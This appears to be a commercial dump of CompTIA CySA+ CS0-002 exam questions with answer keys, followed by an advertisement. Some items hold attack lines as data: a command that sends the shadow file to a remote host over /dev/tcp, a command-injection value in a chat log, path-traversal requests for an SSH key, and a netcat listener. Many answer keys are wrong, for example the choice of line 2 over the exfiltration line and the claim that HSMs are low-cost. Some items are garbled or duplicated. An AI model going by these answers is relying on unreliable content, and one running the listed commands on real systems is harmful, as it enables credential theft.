

# CompTIA

## Exam Questions CS0-002

CompTIA Cybersecurity Analyst (CySA+) Certification Exam



#### NEW QUESTION 1

A security analyst needs to reduce the overall attack surface.  
Which of the following infrastructure changes should the analyst recommend?

- A. Implement a honeypot.
- B. Air gap sensitive systems.
- C. Increase the network segmentation.
- D. Implement a cloud-based architecture.

**Answer: C**

#### NEW QUESTION 2

An analyst is reviewing a list of vulnerabilities, which were reported from a recent vulnerability scan of a Linux server.  
Which of the following is MOST likely to be a false positive?

- A. OpenSSH/OpenSSL Package Random Number Generator Weakness
- B. Apache HTTP Server Byte Range DoS
- C. GDI+ Remote Code Execution Vulnerability (MS08-052)
- D. HTTP TRACE / TRACK Methods Allowed (002-1208)
- E. SSL Certificate Expiry

**Answer: E**

#### NEW QUESTION 3

A security analyst received an email with the following key: Xj3XJ3LLc  
A second security analyst received an email with following key: 3XJ3xjcLLC  
The security manager has informed the two analysts that the email they received is a key that allows access to the company's financial segment for maintenance.  
This is an example of:

- A. dual control
- B. private key encryption
- C. separation of duties
- D. public key encryption
- E. two-factor authentication

**Answer: A**

#### NEW QUESTION 4

The security team at a large corporation is helping the payment-processing team to prepare for a regulatory compliance audit and meet the following objectives:

- Reduce the number of potential findings by the auditors.
- Limit the scope of the audit to only devices used by the payment-processing team for activities directly impacted by the regulations.
- Prevent the external-facing web infrastructure used by other teams from coming into scope.
- Limit the amount of exposure the company will face if the systems used by the payment-processing team are compromised.

Which of the following would be the MOST effective way for the security team to meet these objectives?

- A. Limit the permissions to prevent other employees from accessing data owned by the business unit.
- B. Segment the servers and systems used by the business unit from the rest of the network.
- C. Deploy patches to all servers and workstations across the entire organization.
- D. Implement full-disk encryption on the laptops used by employees of the payment-processing team.

**Answer: B**

#### NEW QUESTION 5

During a routine log review, a security analyst has found the following commands that cannot be identified from the Bash history log on the root user.

```
Line 1 logger keeping track of my activity
Line 2 tail -1 /vvar/log/syslog
Line 3 lvextend -L +50G /dev/volq1/secret
Line 4 rm -rf1 /tmp/DFt5Ged3
Line 5 cat /etc/s*w > /dev/tcp/10.0.0.1/8080
Line 6 yum install httpd --assumeyes
```

Which of the following commands should the analyst investigate FIRST?

- A. Line 1
- B. Line 2
- C. Line 3
- D. Line 4
- E. Line 5
- F. Line 6

**Answer: B**

#### NEW QUESTION 6

Which of the following MOST accurately describes an HSM?

- A. An HSM is a low-cost solution for encryption.
- B. An HSM can be networked based or a removable USB
- C. An HSM is slower at encrypting than software
- D. An HSM is explicitly used for MFA

**Answer: A**

**NEW QUESTION 7**

It is important to parameterize queries to prevent:

- A. the execution of unauthorized actions against a database.
- B. a memory overflow that executes code with elevated privileges.
- C. the establishment of a web shell that would allow unauthorized access.
- D. the queries from using an outdated library with security vulnerabilities.

**Answer: A**

**NEW QUESTION 8**

A system administrator is doing network reconnaissance of a company's external network to determine the vulnerability of various services that are running. Sending some sample traffic to the external host, the administrator obtains the following packet capture:

```
18 17.646496 67.53.200.1 67.53.200.12 TCP 58 47669 -> 22 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
19 17.646944 67.53.200.1 67.53.200.12 TCP 58 47669 -> 445 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
20 17.648631 67.53.200.12 67.53.200.1 TCP 58 22 -> 47669 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
21 17.648646 67.53.200.1 67.53.200.12 TCP 58 47669 -> 80 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
22 17.648887 67.53.200.12 67.53.200.1 TCP 54 445 -> 47669 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
23 17.649763 67.53.200.12 67.53.200.1 TCP 54 80 -> 47669 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
```

Based on the output, which of the following services should be further tested for vulnerabilities?

- A. SSH
- B. HTTP
- C. SMB
- D. HTTPS

**Answer: C**

**NEW QUESTION 9**

A company recently experienced a break-in whereby a number of hardware assets were stolen through unauthorized access at the back of the building. Which of the following would BEST prevent this type of theft from occurring in the future?

- A. Motion detection
- B. Perimeter fencing
- C. Monitored security cameras
- D. Badged entry

**Answer: A**

**NEW QUESTION 10**

A development team uses open-source software and follows an Agile methodology with two-week sprints. Last month, the security team filed a bug for an insecure version of a common library. The DevOps team updated the library on the server, and then the security team rescanned the server to verify it was no longer vulnerable. This month, the security team found the same vulnerability on the server.

Which of the following should be done to correct the cause of the vulnerability?

- A. Deploy a WAF in front of the application.
- B. Implement a software repository management tool.
- C. Install a HIPS on the server.
- D. Instruct the developers to use input validation in the code.

**Answer: B**

**NEW QUESTION 10**

A security analyst needs to assess the web server versions on a list of hosts to determine which are running a vulnerable version of the software and output that list into an XML file named Webserverslist.Xml. The host list is provided in a file named webserverlist.txt. Which of the following Nmap commands would BEST accomplish this goal?

- A)
 

```
nmap -iL webserverlist.txt -oC -p 443 -oX webserverlist.xml
```
- B)
 

```
nmap -iL webserverlist.txt -oV -p 443 -oX webserverlist.xml
```

C)

```
nmap -iL webservers.txt -F -p 443 -oX webservers.xml
```

D)

```
nmap --takefile webservers.txt --outputfileasXML webservers.xml --scanports 443
```

- A. Option A
- B. Option B
- C. Option C
- D. Option D

**Answer: A**

#### NEW QUESTION 13

A compliance officer of a large organization has reviewed the firm's vendor management program but has discovered there are no controls defined to evaluate third-party risk or hardware source authenticity. The compliance officer wants to gain some level of assurance on a recurring basis regarding the implementation of controls by third parties.

Which of the following would BEST satisfy the objectives defined by the compliance officer? (Choose two.)

- A. Executing vendor compliance assessments against the organization's security controls
- B. Executing NDAs prior to sharing critical data with third parties
- C. Soliciting third-party audit reports on an annual basis
- D. Maintaining and reviewing the organizational risk assessment on a quarterly basis
- E. Completing a business impact assessment for all critical service providers
- F. Utilizing DLP capabilities at both the endpoint and perimeter levels

**Answer: AC**

#### NEW QUESTION 16

A Chief Information Security Officer (CISO) wants to upgrade an organization's security posture by improving proactive activities associated with attacks from internal and external threats.

Which of the following is the MOST proactive tool or technique that feeds incident response capabilities?

- A. Development of a hypothesis as part of threat hunting
- B. Log correlation, monitoring, and automated reporting through a SIEM platform
- C. Continuous compliance monitoring using SCAP dashboards
- D. Quarterly vulnerability scanning using credentialed scans

**Answer: A**

#### NEW QUESTION 19

Which of the following technologies can be used to house the entropy keys for disk encryption on desktops and laptops?

- A. Self-encrypting drive
- B. Bus encryption
- C. TPM
- D. HSM

**Answer: A**

#### NEW QUESTION 22

A company's Chief Information Security Officer (CISO) is concerned about the integrity of some highly confidential files. Any changes to these files must be tied back to a specific authorized user's activity session. Which of the following is the BEST technique to address the CISO's concerns?

- A. Configure DLP to reject all changes to the files without pre-authorization
- B. Monitor the files for unauthorized changes.
- C. Regularly use SHA-256 to hash the directory containing the sensitive information
- D. Monitor the files for unauthorized changes.
- E. Place a legal hold on the file
- F. Require authorized users to abide by a strict time context access policy. Monitor the files for unauthorized changes.
- G. Use Wireshark to scan all traffic to and from the director
- H. Monitor the files for unauthorized changes.

**Answer: A**

#### NEW QUESTION 25

A security team wants to make SaaS solutions accessible from only the corporate campus.

Which of the following would BEST accomplish this goal?

- A. Geofencing
- B. IP restrictions
- C. Reverse proxy
- D. Single sign-on

**Answer: A**

#### NEW QUESTION 26

A hybrid control is one that:

- A. is implemented differently on individual systems
- B. is implemented at the enterprise and system levels
- C. has operational and technical components
- D. authenticates using passwords and hardware tokens

**Answer: B**

#### NEW QUESTION 28

A monthly job to install approved vendor software updates and hot fixes recently stopped working. The security team performed a vulnerability scan, which identified several hosts as having some critical OS vulnerabilities, as referenced in the common vulnerabilities and exposures (CVE) database. Which of the following should the security team do NEXT to resolve the critical findings in the most effective manner? (Choose two.)

- A. Patch the required hosts with the correct updates and hot fixes, and rescan them for vulnerabilities.
- B. Remove the servers reported to have high and medium vulnerabilities.
- C. Tag the computers with critical findings as a business risk acceptance.
- D. Manually patch the computers on the network, as recommended on the CVE website.
- E. Harden the hosts on the network, as recommended by the NIST framework.
- F. Resolve the monthly job issues and test them before applying them to the production network.

**Answer: CE**

#### NEW QUESTION 30

An information security analyst observes anomalous behavior on the SCADA devices in a power plant. This behavior results in the industrial generators overheating and destabilizing the power supply. Which of the following would BEST identify potential indicators of compromise?

- A. Use Burp Suite to capture packets to the SCADA device's IP.
- B. Use tcpdump to capture packets from the SCADA device IP.
- C. Use Wireshark to capture packets between SCADA devices and the management system.
- D. Use Nmap to capture packets from the management system to the SCADA devices.

**Answer: C**

#### NEW QUESTION 34

A large software company wants to move its source control and deployment pipelines into a cloud-computing environment. Due to the nature of the business management determines the recovery time objective needs to be within one hour. Which of the following strategies would put the company in the BEST position to achieve the desired recovery time?

- A. Establish an alternate site with active replication to other regions
- B. Configure a duplicate environment in the same region and load balance between both instances
- C. Set up every cloud component with duplicated copies and auto scaling turned on
- D. Create a duplicate copy on premises that can be used for failover in a disaster situation

**Answer: A**

#### NEW QUESTION 38

As a proactive threat-hunting technique, hunters must develop situational cases based on likely attack scenarios derived from the available threat intelligence information. After forming the basis of the scenario, which of the following may the threat hunter construct to establish a framework for threat assessment?

- A. Critical asset list
- B. Threat vector
- C. Attack profile
- D. Hypothesis

**Answer: A**

#### NEW QUESTION 40

A company just chose a global software company based in Europe to implement a new supply chain management solution. Which of the following would be the MAIN concern of the company?

- A. Violating national security policy
- B. Packet injection
- C. Loss of intellectual property
- D. International labor laws

**Answer: A**

#### NEW QUESTION 43

For machine learning to be applied effectively toward security analysis automation, it requires.

- A. relevant training data.
- B. a threat feed API.
- C. a multicore, multiprocessor system.
- D. anomalous traffic signatures.

**Answer:** A

**NEW QUESTION 46**

Which of the following is the use of tools to simulate the ability for an attacker to gain access to a specified network?

- A. Reverse engineering
- B. Fuzzing
- C. Penetration testing
- D. Network mapping

**Answer:** C

**NEW QUESTION 49**

The inability to do remote updates of certificates, keys, software, and firmware is a security issue commonly associated with:

- A. web servers on private networks
- B. HVAC control systems
- C. smartphones
- D. firewalls and UTM devices

**Answer:** D

**NEW QUESTION 50**

An organization needs to limit its exposure to accidental disclosure when employees send emails that contain personal information to recipients outside the company. Which of the following technical controls would BEST accomplish this goal?

- A. DLP
- B. Encryption
- C. Data masking
- D. SPF

**Answer:** A

**NEW QUESTION 55**

As part of a review of modern response plans, which of the following is MOST important for an organization to understand when establishing the breach notification period?

- A. Organizational policies
- B. Vendor requirements and contracts
- C. Service-level agreements
- D. Legal requirements

**Answer:** D

**NEW QUESTION 59**

An organization has not had an incident for several months. The Chief Information Security Officer (CISO) wants to move to a more proactive stance for security investigations. Which of the following would BEST meet that goal?

- A. Root-cause analysis
- B. Active response
- C. Advanced antivirus
- D. Information-sharing community
- E. Threat hunting

**Answer:** E

**NEW QUESTION 62**

A development team is testing a new application release. The team needs to import existing client PHI data records from the production environment to the test environment to test accuracy and functionality.

Which of the following would BEST protect the sensitivity of this data while still allowing the team to perform the testing?

- A. Deidentification
- B. Encoding
- C. Encryption
- D. Watermarking

**Answer:** A

**NEW QUESTION 65**

A security analyst for a large financial institution is creating a threat model for a specific threat actor that is likely targeting an organization's financial assets. Which of the following is the BEST example of the level of sophistication this threat actor is using?

- A. Social media accounts attributed to the threat actor
- B. Custom malware attributed to the threat actor from prior attacks
- C. Email addresses and phone numbers tied to the threat actor

- D. Network assets used in previous attacks attributed to the threat actor
- E. IP addresses used by the threat actor for command and control

**Answer: D**

**NEW QUESTION 70**

A security analyst is reviewing the logs from an internal chat server. The chat.log file is too large to review manually, so the analyst wants to create a shorter log file that only includes lines associated with a user demonstrating anomalous activity. Below is a snippet of the log:

Line	User	Time	Command	Result
36570	DEV12	02.01.13.151219	KICK DEV27	OK
36571	JAVASHARK	02.01.13.151255	JOIN #CHATOPS e32kk10	OK
36572	DEV12	02.01.13.151325	PART #CHATOPS	OK
36573	CHATTER14	02.01.13.151327	JOIN';CAT ../etc/config'	OK
36574	PYTHONFUN	02.01.13.151330	PRIVMSG DEV99 "?"	OK
36575	DEV99	02.01.13.151358	PRIVMSG PYTHONFUN "OK"	OK

Which of the following commands would work BEST to achieve the desired result?

- A. `grep -v chatter14 chat.log`
- B. `grep -i pythonfun chat.log`
- C. `grep -i javashark chat.log`
- D. `grep -v javashark chat.log`
- E. `grep -v pythonfun chat.log`
- F. `grep -i chatter14 chat.log`

**Answer: D**

**NEW QUESTION 72**

An executive assistant wants to onboard a new cloud based product to help with business analytics and dashboarding. When of the following would be the BEST integration option for the service?

- A. Manually log in to the service and upload data files on a regular basis.
- B. Have the internal development team script connectivity and file translate to the new service.
- C. Create a dedicated SFTP sue and schedule transfers to ensue file transport security
- D. Utilize the cloud products API for supported and ongoing integrations

**Answer: A**

**NEW QUESTION 76**

A security analyst has received information from a third-party intelligence-sharing resource that indicates employee accounts were breached. Which of the following is the NEXT step the analyst should take to address the issue?

- A. Audit access permissions for all employees to ensure least privilege.
- B. Force a password reset for the impacted employees and revoke any tokens.
- C. Configure SSO to prevent passwords from going outside the local network.
- D. Set up privileged access management to ensure auditing is enabled.

**Answer: B**

**NEW QUESTION 79**

An analyst is performing penetration testing and vulnerability assessment activities against a new vehicle automation platform. Which of the following is MOST likely an attack vector that is being utilized as part of the testing and assessment?

- A. FaaS
- B. RTOS
- C. SoC
- D. GPS
- E. CAN bus

**Answer: E**

**NEW QUESTION 82**

Which of the following technologies can be used to store digital certificates and is typically used in high-security implementations where integrity is paramount?

- A. HSM
- B. eFuse
- C. UEFI
- D. Self-encrypting drive

**Answer: A**

**NEW QUESTION 84**

A security analyst gathered forensics from a recent intrusion in preparation for legal proceedings. The analyst used EnCase to gather the digital forensics, cloned the hard drive, and took the hard drive home for further analysis. Which of the following of the security analyst violate?

- A. Cloning procedures
- B. Chain of custody
- C. Hashing procedures
- D. Virtualization

**Answer: B**

**NEW QUESTION 89**

An organization has not had an incident for several months. The Chief Information Security Officer (CISO) wants to move to a proactive stance for security investigations. Which of the following would BEST meet that goal?

- A. Root-cause analysis
- B. Active response
- C. Advanced antivirus
- D. Information-sharing community
- E. Threat hunting

**Answer: E**

**NEW QUESTION 92**

Which of the following BEST articulates the benefit of leveraging SCAP in an organization's cybersecurity analysis toolset?

- A. It automatically performs remedial configuration changes to enterprise security services
- B. It enables standard checklist and vulnerability analysis expressions for automation
- C. It establishes a continuous integration environment for software development operations
- D. It provides validation of suspected system vulnerabilities through workflow orchestration

**Answer: B**

**NEW QUESTION 93**

Which of the following types of policies is used to regulate data storage on the network?

- A. Password
- B. Acceptable use
- C. Account management
- D. Retention

**Answer: D**

**NEW QUESTION 98**

A malicious hacker wants to gather guest credentials on a hotel 802.11 network. Which of the following tools is the malicious hacker going to use to gain access to information found on the hotel network?

- A. Nikto
- B. Aircrack-ng
- C. Nessus
- D. tcpdump

**Answer: A**

**NEW QUESTION 103**

Which of the following roles is ultimately responsible for determining the classification levels assigned to specific data sets?

- A. Data custodian
- B. Data owner
- C. Data processor
- D. Senior management

**Answer: B**

**NEW QUESTION 105**

A security analyst has discovered that developers have installed browsers on all development servers in the company's cloud infrastructure and are using them to browse the Internet. Which of the following changes should the security analyst make to BEST protect the environment?

- A. Create a security rule that blocks Internet access in the development VPC
- B. Place a jumpbox in between the developers' workstations and the development VPC
- C. Remove the administrator profile from the developer user group in identity and access management
- D. Create an alert that is triggered when a developer installs an application on a server

**Answer: A**

**NEW QUESTION 109**

A security analyst has observed several incidents within an organization that are affecting one specific piece of hardware on the network. Further investigation reveals the equipment vendor previously released a patch.

Which of the following is the MOST appropriate threat classification for these incidents?



#### NEW QUESTION 124

An analyst is working with a network engineer to resolve a vulnerability that was found in a piece of legacy hardware, which is critical to the operation of the organization's production line. The legacy hardware does not have third-party support, and the OEM manufacturer of the controller is no longer in operation. The analyst documents the activities and verifies these actions prevent remote exploitation of the vulnerability. Which of the following would be the MOST appropriate to remediate the controller?

- A. Segment the network to constrain access to administrative interfaces.
- B. Replace the equipment that has third-party support.
- C. Remove the legacy hardware from the network.
- D. Install an IDS on the network between the switch and the legacy equipment.

**Answer: A**

#### NEW QUESTION 128

During an investigation, a security analyst determines suspicious activity occurred during the night shift over the weekend. Further investigation reveals the activity was initiated from an internal IP going to an external website. Which of the following would be the MOST appropriate recommendation to prevent the activity from happening in the future?

- A. An IPS signature modification for the specific IP addresses
- B. An IDS signature modification for the specific IP addresses
- C. A firewall rule that will block port 80 traffic
- D. A firewall rule that will block traffic from the specific IP addresses

**Answer: D**

#### NEW QUESTION 130

A security analyst is investigating a compromised Linux server. The analyst issues the ps command and receives the following output.

```
1286  ?  Ss  0:00  /usr/sbin/cupsd -f
1287  ?  Ss  0:00  /usr/sbin/httpd
1297  ?  Ssl 0:00  /usr/bin/libvirtd
1301  ?  Ss  0:00  ./usr/sbin/sshd -D
1308  ?  Ss  0:00  /usr/sbin/atd -f
```

Which of the following commands should the administrator run NEXT to further analyze the compromised system?

- A. strace /proc/1301
- B. rpm -V openash-server
- C. /bin/la -l /proc/1301/exe
- D. kill -9 1301

**Answer: A**

#### NEW QUESTION 133

When attempting to do a stealth scan against a system that does not respond to ping, which of the following Nmap commands BEST accomplishes that goal?

- A. nmap -sA -O <system> -noping
- B. nmap -sT -O <system> -P0
- C. nmap -sS -O <system> -P0
- D. nmap -sQ -O <system> -P0

**Answer: C**

#### NEW QUESTION 138

During a cyber incident, which of the following is the BEST course of action?

- A. Switch to using a pre-approved, secure, third-party communication system.
- B. Keep the entire company informed to ensure transparency and integrity during the incident.
- C. Restrict customer communication until the severity of the breach is confirmed.
- D. Limit communications to pre-authorized parties to ensure response efforts remain confidential.

**Answer: D**

#### NEW QUESTION 142

A security analyst has received reports of very slow, intermittent access to a public-facing corporate server. Suspecting the system may be compromised, the analyst runs the following commands:

```
[root@www18 /tmp]# uptime
19:23:35 up 2:33, 1 user, load average: 87.22, 79.69, 72.17
[root@www18 /tmp]# crontab -l
* * * * * /tmp/.t/t
[root@www18 /tmp]# ps ax | grep tmp
1325 ? Ss 0:00          /tmp/.t/t
[root@www18 /tmp]# netstat -anlp
tcp 0 0 0.0.0.0:22          172.168.0.0:* ESTABLISHED 1204/sshd
tcp 0 0 127.0.0.1:631      0.0.0.0:* LISTEN       1214/cupsd
tcp 0 0 0.0.0.0:443        0.0.0.0:* LISTEN       1267/httpd
```

Based on the output from the above commands, which of the following should the analyst do NEXT to further the investigation?

- A. Run `crontab -r; rm -rf /tmp/.t` to remove and disable the malware on the system.
- B. Examine the server logs for further indicators of compromise of a web application.
- C. Run `kill -9 1325` to bring the load average down so the server is usable again.
- D. Perform a binary analysis on the `/tmp/.t/t` file, as it is likely to be a rogue SSHD server.

**Answer: B**

#### NEW QUESTION 143

During an incident, a cybersecurity analyst found several entries in the web server logs that are related to an IP with a bad reputation . Which of the following would cause the analyst to further review the incident?

- A)
 

```
BadReputationIp - - [2019-04-12 10:43z] "GET /etc/passwd" 403 1023
```
- B)
 

```
BadReputationIp - - [2019-04-12 10:43z] "GET /index.html?src=../../ssh/id_rsa" 401 17044
```
- C)
 

```
BadReputationIp - - [2019-04-12 10:43z] "GET /a.php?src=/etc/passwd" 403 11056
```
- D)
 

```
BadReputationIp - - [2019-04-12 10:43z] "GET /a.php?src=../../ssh/id_rsa" 200 15036
```
- E)
 

```
BadReputationIp - - [2019-04-12 10:43z] "GET /favicon.ico?src=../../usr/share/icons" 200 19064
```

- A. Option A
- B. Option B
- C. Option C
- D. Option D
- E. Option E

**Answer: D**

#### NEW QUESTION 145

An analyst performs a routine scan of a host using Nmap and receives the following output:

```
$ nmap -sS 10.0.3.1
Starting Nmap 8.9 (http://nmap.org) at 2019-01-19 12:03 PST
Nmap scan report for 10.0.3.1
Host is up (0.00098s latency).
Not shown: 979 closed ports

PORT      STATE      SERVICE
20/tcp    filtered  ftp-data
21/tcp    filtered  ftp
22/tcp    open      ssh
23/tcp    open      telnet
80/tcp    open      http

Nmap done: 1 IP address (1 host up) scanned in 0.840 seconds
```

Which of the following should the analyst investigate FIRST?

- A. Port 21
- B. Port 22
- C. Port 23
- D. Port 80

**Answer: C**

#### NEW QUESTION 147

A security team is implementing a new vulnerability management program in an environment that has a historically poor security posture. The team is aware of issues patch management in the environment and expects a large number of findings. Which of the following would be the MOST efficient way to increase the security posture of the organization in the shortest amount of time?

- A. Create an SLA stating that remediation actions must occur within 30 days of discovery for all levels of vulnerabilities.
- B. Incorporate prioritization levels into the remediation process and address critical findings first.
- C. Create classification criteria for data residing on different servers and provide remediation only for servers housing sensitive data.
- D. Implement a change control policy that allows the security team to quickly deploy patches in the production environment to reduce the risk of any vulnerabilities found.

**Answer: B**

#### NEW QUESTION 151

A security analyst is evaluating two vulnerability management tools for possible use in an organization. The analyst set up each of the tools according to the respective vendor's instructions and generated a report of vulnerabilities that ran against the same target server.

Tool A reported the following:

```
The target host (192.168.10.13) is missing the following patches:  
CRITICAL KB50227328: Windows Server 2016 June 2019 Cumulative Update  
CRITICAL KB50255293: Windows Server 2016 July 2019 Cumulative Update  
HIGH MS19-055: Cumulative Security Update for Edge (2863871)
```

Tool B reported the following:

```
Methods GET HEAD OPTIONS POST TRACE are allowed on 192.168.10.13:80  
192.168.10.13:443 uses a self-signed certificate  
Apache 4.2.x < 4.2.28 Contains Multiple Vulnerabilities
```

Which of the following BEST describes the method used by each tool? (Choose two.)

- A. Tool A is agent based.
- B. Tool A used fuzzing logic to test vulnerabilities.
- C. Tool A is unauthenticated.
- D. Tool B utilized machine learning technology.
- E. Tool B is agent based.
- F. Tool B is unauthenticated.

**Answer: CE**

#### NEW QUESTION 154

A security analyst implemented a solution that would analyze the attacks that the organization's firewalls failed to prevent. The analyst used the existing systems to enact the solution and executed the following command.

```
S sudo nc -1 -v -c maildemon . py 25 caplog, txt
```

Which of the following solutions did the analyst implement?

- A. Log collector
- B. Crontab mail script
- C. Snikhole
- D. Honeypot

**Answer: A**

#### NEW QUESTION 155

.....

## **Thank You for Trying Our Product**

### **We offer two products:**

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

### **CS0-002 Practice Exam Features:**

- \* CS0-002 Questions and Answers Updated Frequently
- \* CS0-002 Practice Questions Verified by Expert Senior Certified Staff
- \* CS0-002 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- \* CS0-002 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

**100% Actual & Verified — Instant Download, Please Click**  
**[Order The CS0-002 Practice Test Here](#)**